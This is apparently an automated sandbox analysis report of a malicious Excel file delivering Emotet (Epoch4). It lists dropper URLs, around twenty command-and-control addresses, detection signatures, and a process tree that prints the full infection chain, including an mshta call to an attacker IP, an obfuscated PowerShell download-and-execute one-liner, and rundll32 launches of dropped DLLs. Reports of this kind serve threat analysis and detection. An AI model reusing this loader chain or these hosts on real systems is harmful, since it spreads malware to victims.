Analysis

  • max time kernel
    128s
  • max time network
    155s
  • platform
    windows10_x64
  • resource
    win10-en-20211208
  • submitted
    27/01/2022, 18:41

General

  • Target
    tmp_n6ahuet.xls
  • Size 155KB
  • Sample220127-xbt3eahagn
  • SHA256 d544142f7564a9b9fa7305f8614dd44ce496479b54eccac74a0ef2ca87c5f2d2
  • MD5 SHA1 SHA512

Malware Config

Extracted

Language
  • hta

Source
URLs
  • hta.dropper

    http://91.240.118.168/zqqw/zaas/fe.html

Extracted

Language
  • ps1

Deobfuscated
Source
URLs
  • ps1.dropper

    http://91.240.118.168/zqqw/zaas/fe.png

Extracted

Family
  • emotet

Botnet
  • Epoch4

C2
  • 51.15.4.22:443

  • 173.214.173.220:8080

  • 212.237.5.209:443

  • 192.254.71.210:443

  • 216.158.226.206:443

  • 162.243.175.63:443

  • 212.24.98.99:8080

  • 58.227.42.236:80

  • 45.118.115.99:8080

  • 104.251.214.46:8080

  • 185.157.82.209:8080

  • 46.55.222.11:443

  • 188.40.137.206:8080

  • 81.0.236.90:443

  • 103.75.201.2:443

  • 129.232.188.93:443

  • 195.154.133.20:443

  • 159.8.59.82:8080

  • 79.172.212.216:8080

  • 138.185.72.26:8080

eck1.plain
ecs1.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • suricata: ET MALWARE W32/Emotet CnC Beacon 3

    suricata: ET MALWARE W32/Emotet CnC Beacon 3

  • Blocklisted process makes network request 5 IoCs
  • Downloads MZ/PE file
  • Loads dropped DLL 2 IoCs
  • Drops file in System32 directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 1 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 19 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of SetWindowsHookEx 13 IoCs
  • Suspicious use of WriteProcessMemory 20 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\tmp_n6ahuet.xls"
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:3440
    • C:\Windows\SYSTEM32\cmd.exe
      cmd /c mshta http://91.240.118.168/zqqw/zaas/fe.html
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:1736
      • C:\Windows\system32\mshta.exe
        mshta http://91.240.118.168/zqqw/zaas/fe.html
        3⤵
        • Blocklisted process makes network request
        • Suspicious use of WriteProcessMemory
        PID:924
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({FdrggvdRf}{FdrggvdRf}Ne{FdrggvdRf}{FdrggvdRf}w{FdrggvdRf}-Obj{FdrggvdRf}ec{FdrggvdRf}{FdrggvdRf}t N{FdrggvdRf}{FdrggvdRf}et{FdrggvdRf}.W{FdrggvdRf}{FdrggvdRf}e'.replace('{FdrggvdRf}', ''); $c4='bC{FdrggvdRf}li{FdrggvdRf}{FdrggvdRf}en{FdrggvdRf}{FdrggvdRf}t).D{FdrggvdRf}{FdrggvdRf}ow{FdrggvdRf}{FdrggvdRf}nl{FdrggvdRf}{FdrggvdRf}{FdrggvdRf}o'.replace('{FdrggvdRf}', ''); $c3='ad{FdrggvdRf}{FdrggvdRf}St{FdrggvdRf}rin{FdrggvdRf}{FdrggvdRf}g{FdrggvdRf}(''ht{FdrggvdRf}tp{FdrggvdRf}://91.240.118.168/zqqw/zaas/fe.png'')'.replace('{FdrggvdRf}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
          4⤵
          • Blocklisted process makes network request
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:3924
          • C:\Windows\system32\cmd.exe
            "C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\ProgramData\QWER.dll,BBDD
            5⤵
            • Suspicious use of WriteProcessMemory
            PID:4932
            • C:\Windows\SysWow64\rundll32.exe
              C:\Windows\SysWow64\rundll32.exe C:\ProgramData\QWER.dll,BBDD
              6⤵
              • Loads dropped DLL
              • Suspicious use of WriteProcessMemory
              PID:4984
              • C:\Windows\SysWOW64\rundll32.exe
                C:\Windows\SysWOW64\rundll32.exe "C:\ProgramData\QWER.dll",DllRegisterServer
                7⤵
                • Loads dropped DLL
                • Drops file in System32 directory
                • Suspicious use of WriteProcessMemory
                PID:2320
                • C:\Windows\SysWOW64\rundll32.exe
                  C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Rkxetzwsdoq\zhraiieudf.gwf",OwZRyQOvZTxS
                  8⤵
                  • Suspicious use of WriteProcessMemory
                  PID:4780
                  • C:\Windows\SysWOW64\rundll32.exe
                    C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Rkxetzwsdoq\zhraiieudf.gwf",DllRegisterServer
                    9⤵
                    • Blocklisted process makes network request
                    • Suspicious behavior: EnumeratesProcesses
                    PID:3180
        • C:\Windows\system32\WerFault.exe
          C:\Windows\system32\WerFault.exe -u -p 924 -s 2340
          4⤵
          • Program crash
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2640

Network

        MITRE ATT&CK Enterprise v6

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        Downloads

        memory/2320-1655-0x0000000005160000-0x0000000005185000-memory.dmp

        memory/2320-1651-0x0000000004FC0000-0x0000000004FE5000-memory.dmp

        memory/2320-1649-0x0000000004F60000-0x0000000004F85000-memory.dmp

        memory/2320-1647-0x0000000004F00000-0x0000000004F25000-memory.dmp

        memory/2320-1645-0x0000000004D20000-0x0000000004D45000-memory.dmp

        memory/2320-1643-0x0000000004C30000-0x0000000004C55000-memory.dmp

        memory/2320-1641-0x0000000002D70000-0x0000000002D95000-memory.dmp

        memory/3180-1659-0x0000000004740000-0x0000000004765000-memory.dmp

        memory/3180-1656-0x0000000000840000-0x0000000000865000-memory.dmp

        memory/3180-1673-0x0000000004D10000-0x0000000004D35000-memory.dmp

        memory/3180-1671-0x0000000004C90000-0x0000000004CB5000-memory.dmp

        memory/3180-1669-0x0000000004BB0000-0x0000000004BD5000-memory.dmp

        memory/3180-1667-0x0000000004AC0000-0x0000000004AE5000-memory.dmp

        memory/3180-1665-0x00000000049E0000-0x0000000004A05000-memory.dmp

        memory/3180-1663-0x0000000004900000-0x0000000004925000-memory.dmp

        memory/3180-1661-0x0000000004820000-0x0000000004845000-memory.dmp

        memory/3440-119-0x00007FFA73860000-0x00007FFA73870000-memory.dmp

        memory/3440-118-0x00007FFA73860000-0x00007FFA73870000-memory.dmp

        memory/3440-122-0x00007FFA73860000-0x00007FFA73870000-memory.dmp

        memory/3924-1482-0x000001CC77030000-0x000001CC77052000-memory.dmp

        memory/3924-1540-0x000001CC775E0000-0x000001CC7761C000-memory.dmp

        memory/3924-1563-0x000001CC776A0000-0x000001CC77716000-memory.dmp

        memory/3924-1596-0x000001CC5EEF0000-0x000001CC77000000-memory.dmp

        memory/3924-1605-0x000001CC5EEF0000-0x000001CC77000000-memory.dmp

        memory/3924-1620-0x000001CC5EEF0000-0x000001CC77000000-memory.dmp

        memory/4984-1633-0x0000000004180000-0x00000000041A5000-memory.dmp